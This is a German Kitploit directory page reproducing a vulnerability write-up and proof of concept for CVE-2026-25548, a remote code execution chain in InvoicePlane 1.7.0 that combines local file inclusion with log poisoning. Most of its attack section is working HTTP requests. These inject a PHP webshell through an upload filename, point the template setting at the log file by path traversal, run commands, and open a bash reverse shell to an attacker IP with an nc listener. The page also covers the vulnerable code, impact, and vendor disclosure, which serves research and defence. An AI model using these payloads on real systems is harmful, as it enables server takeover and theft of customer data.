Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/lagathos/cve-2026-25548
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# Detaillierte technische Analyse und Proof-of-Concept für CVE-2026-25548, eine kritische RCE in InvoicePlane 1.7.0 über LFI und Log-Poisoning, einschließlich Angriffskette, PoC-Anfragen und Auswirkungsanalyse.

Repository anzeigen
1vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25548 — Remote Code Execution in InvoicePlane 1.7.0

Schwachstelle: Remote Code Execution durch Local File Inclusion + Log Poisoning

Produkt: InvoicePlane

Betroffene Version: 1.7.0 (und wahrscheinlich frühere Versionen)

Schweregrad: Kritisch

CVSS 3.1-Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Entdeckt von: Leonidas Agathos

Meldedatum: 2026-01-31


Inhaltsverzeichnis

  • Beschreibung
  • Details zur Schwachstelle
    • 1. Local File Inclusion (LFI)
    • 2. Log Poisoning über Upload-Dateinamen
  • Angriffskette
  • Proof of Concept
    • Schritt 1 — Log Poisoning
    • Schritt 2 — LFI konfigurieren
    • Schritt 3 — RCE auslösen
    • Schritt 4 — Reverse Shell
  • Auswirkungen
  • Betroffene Komponenten
  • Zeitplan

Beschreibung

Eine kritische Schwachstellenkette in InvoicePlane 1.7.0 ermöglicht es einem authentifizierten Administrator, Remote Code Execution (RCE) auf dem zugrunde liegenden Server zu erreichen. Der Angriff kombiniert zwei Schwachstellen:

  1. Local File Inclusion (LFI) — Die Einstellung für öffentliche Rechnungsvorlagen akzeptiert beliebige Dateipfade ohne Validierung, wodurch Dateien außerhalb des vorgesehenen Vorlagenverzeichnisses eingebunden werden können.
  2. Log Poisoning — Upload-Dateinamen, die Pfad-Traversal-Zeichen enthalten, werden unverändert in CodeIgniters .php-Logdateien geschrieben, wodurch beliebiger PHP-Code injiziert werden kann.

In Kombination kann ein Angreifer mit Admin-Zugriff die vollständige Kontrolle über den Server als Webserver-Benutzer erlangen. Der finale RCE-Auslöser ist nicht authentifiziert (öffentliche Rechnungs-URL).


Details zur Schwachstelle

1. Local File Inclusion (LFI)

AttributWert

Verwundbarer Code (View.php:85):

root@kitploit:~
$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

Verwundbarer Code (View.php:191):

root@kitploit:~
$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

Die Einstellungen public_invoice_template und public_quote_template werden aus der Datenbank abgerufen und direkt in einen Dateipfad eingefügt, der an CodeIgniters load->view() übergeben wird (was zu PHP's include() aufgelöst wird). Es gibt keine Validierung, um:

  • Pfad-Traversal-Sequenzen (../) zu verhindern
  • Erlaubte Vorlagennamen auf eine Whitelist zu setzen
  • Zu bestätigen, dass die Datei im erwarteten Vorlagenverzeichnis existiert

Ein Administrator kann diesen Wert auf jeden Pfad im Dateisystem setzen, eingeschränkt nur durch die automatisch angehängte .php-Endung.


2. Log Poisoning über Upload-Dateinamen

AttributWert
Dateiapplication/modules/upload/controllers/Upload.php

Verwundbarer Code (Upload.php:178-184):

root@kitploit:~
private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

Wenn ein Dateiname die Pfad-Traversal-Prüfung auslöst, wird der rohe, nicht bereinigte Dateiname direkt in die Logdatei geschrieben. CodeIgniter-Logdateien:

  • Verwenden die .php-Endung: application/logs/log-YYYY-MM-DD.php
  • Beginnen mit <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • Sind daher gültige PHP-Dateien, die bei Einbindung ausgeführt werden

Ein Angreifer, der <?php system($_GET[1]); ?> in den Dateinamen einbettet, bewirkt, dass dieser Payload in das Log geschrieben und später über die LFI ausgeführt wird.


Angriffskette

root@kitploit:~
[Authentifizierter Benutzer]  →  Bösartigen Dateinamen hochladen  →  PHP in Logdatei injiziert
[Admin]                       →  Vorlageneinstellung setzen        →  LFI zeigt auf Logdatei
[Jeder]                       →  Öffentliche Rechnungs-URL besuchen →  RCE
SchrittAnforderung
Log PoisoningAuthentifizierter Benutzer mit Upload-Zugriff
LFI-KonfigurationAdministratorkonto
RCE-AuslöserNicht authentifiziert (öffentliche Rechnungs-URL)

Proof of Concept

Schritt 1 — Log Poisoning

Senden Sie eine Datei-Upload-Anfrage mit einer PHP-Webshell, die in den Dateinamen eingebettet ist. Die Pfad-Traversal-Prüfung wird ausgelöst und schreibt den rohen Dateinamen (einschließlich des PHP-Payloads) in die Logdatei.

Anfrage (über Burp Suite):

root@kitploit:~
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

Der Server lehnt den Upload ab (upload_error_invalid_extension), aber der Logeintrag ist bereits geschrieben:

Ergebnis in application/logs/log-2026-01-31.php:

root@kitploit:~
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

Navigieren Sie zum Anhänge-Bereich einer Rechnung und klicken Sie auf Dateien hinzufügen, um den Upload-Endpunkt zu erreichen.

Schritt 1a - Upload-Einstiegspunkt für Rechnungsanhänge

Schritt 1b - Injizieren des PHP-Payloads über einen bösartigen Dateinamen

Schritt 1c - Logdatei mit injiziertem PHP-Payload


Schritt 2 — LFI konfigurieren

Als Administrator setzen Sie die Einstellung public_invoice_template so, dass sie mit einem Pfad-Traversal-Payload auf die heutige Logdatei zeigt. CodeIgniters View-Loader hängt .php automatisch an.

Anfrage (über Burp Suite):

root@kitploit:~
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

Der Traversal-Pfad wird von application/views/invoice_templates/public/ bis zu application/logs/ aufgelöst und bindet dann log-2026-01-31.php ein.

Schritt 2 - Setzen von public_invoice_template auf den Logdateipfad über Burp Suite


Schritt 3 — RCE auslösen

Rufen Sie eine beliebige öffentliche Rechnungs-URL mit einem Befehl auf, der als 1-GET-Parameter übergeben wird. Es ist keine Authentifizierung erforderlich.

Anfrage:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12

Antwort (im Seitenquelltext):

root@kitploit:~
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg

Der system($_GET[1])-Payload führt den Befehl id aus, und seine Ausgabe wird inline in der Seite angezeigt.

Schritt 3 - Befehlsausgabe in der HTTP-Antwort über die öffentliche Rechnungs-URL


Schritt 4 — Reverse Shell

Ersetzen Sie den Befehl durch einen Bash-Reverse-Shell-Payload, um eine interaktive Shell zu erhalten:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1

Auf dem Angreifer-Rechner:

root@kitploit:~
nc -lnvp 4444

Ergebnis:

root@kitploit:~
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$

Vollständige interaktive Shell als www-data.

Schritt 4 - Etablierte Reverse Shell, die vollständige RCE bestätigt


Auswirkungen

DimensionBewertung

Betroffene Komponenten

DateiSchwachstelle
application/modules/guest/controllers/View.php:85

Zeitplan


Referenzen

  • CWE-98: Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung
  • CWE-117: Unsachgemäße Ausgabeneutralisierung für Logs
  • CWE-94: Unsachgemäße Kontrolle der Codegenerierung
  • OWASP: Path Traversal
  • OWASP: Log Injection
  • CVE-2026-25548

Haftungsausschluss

Diese Schwachstelle wurde im Rahmen unabhängiger Sicherheitsforschung entdeckt. Alle Informationen werden ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken bereitgestellt, um dem Hersteller und der Sicherheitsgemeinschaft beim Verständnis und der Behebung des Problems zu helfen. Jegliche böswillige Nutzung dieser Informationen ist strengstens untersagt.

Tool herunterladen
Dateiapplication/modules/guest/controllers/View.php
Zeilen85, 191
Parameterpublic_invoice_template (Datenbankeinstellung)
CWECWE-98: Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung
Zeilen178–184
ParameterUpload-Dateiname (HTTP-Multipart-Formulardaten)
CWECWE-117: Unsachgemäße Ausgabeneutralisierung für Logs
Detail
VertraulichkeitHOCHVoller Lesezugriff auf alle Dateien, die für den Webserver-Benutzer zugänglich sind, einschließlich Datenbankzugangsdaten und Kundendaten
IntegritätHOCHBeliebige Dateischreibvorgänge, Datenbankänderungen, Installation von Webshells
VerfügbarkeitHOCHDenial of Service, Ransomware-Einsatz, Systemzerstörung
LFI — Rechnungsvorlage
application/modules/guest/controllers/View.php:191LFI — Angebotsvorlage
application/modules/upload/controllers/Upload.php:182Log Poisoning
application/modules/settings/controllers/Settings.phpKeine Validierung der Vorlageneinstellung
DatumEreignis
2026-01-30Schwachstelle entdeckt
2026-01-31Proof of Concept entwickelt
2026-01-31Hersteller benachrichtigt
2026-02-03Bestätigung durch den Hersteller
2026-02-03Patch veröffentlicht
2026-02-04Öffentliche Offenlegung